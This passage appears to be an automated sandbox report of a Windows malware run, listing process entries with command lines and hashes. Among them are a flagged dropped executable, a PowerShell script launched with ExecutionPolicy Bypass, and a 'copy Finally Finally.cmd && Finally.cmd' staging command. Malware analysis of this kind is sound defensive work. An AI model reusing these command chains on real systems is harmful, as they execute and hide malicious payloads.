                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:29
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:30
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:31
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:32
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:33
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:34
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:35
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:37
                                                                                                                                                                                                                                                                Start time:05:04:27
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:38
                                                                                                                                                                                                                                                                Start time:05:04:27
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:39
                                                                                                                                                                                                                                                                Start time:05:04:30
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:40
                                                                                                                                                                                                                                                                Start time:05:04:30
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:41
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:42
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:43
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:44
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:45
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:46
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:47
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:48
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:49
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:50
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:51
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:52
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:53
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:54
                                                                                                                                                                                                                                                                Start time:05:04:32
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:55
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe""
                                                                                                                                                                                                                                                                Imagebase:0x7ff673560000
                                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:56
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1""
                                                                                                                                                                                                                                                                Imagebase:0x7ff673560000
                                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:57
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:58
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:59
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe"
                                                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                                                File size:1'192'617 bytes
                                                                                                                                                                                                                                                                MD5 hash:64488E190C4A6A5A693CF0CE5A5516A2
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                                                • Detection: 71%, ReversingLabs
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:60
                                                                                                                                                                                                                                                                Start time:05:05:47
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:61
                                                                                                                                                                                                                                                                Start time:05:05:48
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:"C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd
                                                                                                                                                                                                                                                                Imagebase:0x790000
                                                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:62
                                                                                                                                                                                                                                                                Start time:05:05:48
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:63
                                                                                                                                                                                                                                                                Start time:05:05:50
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
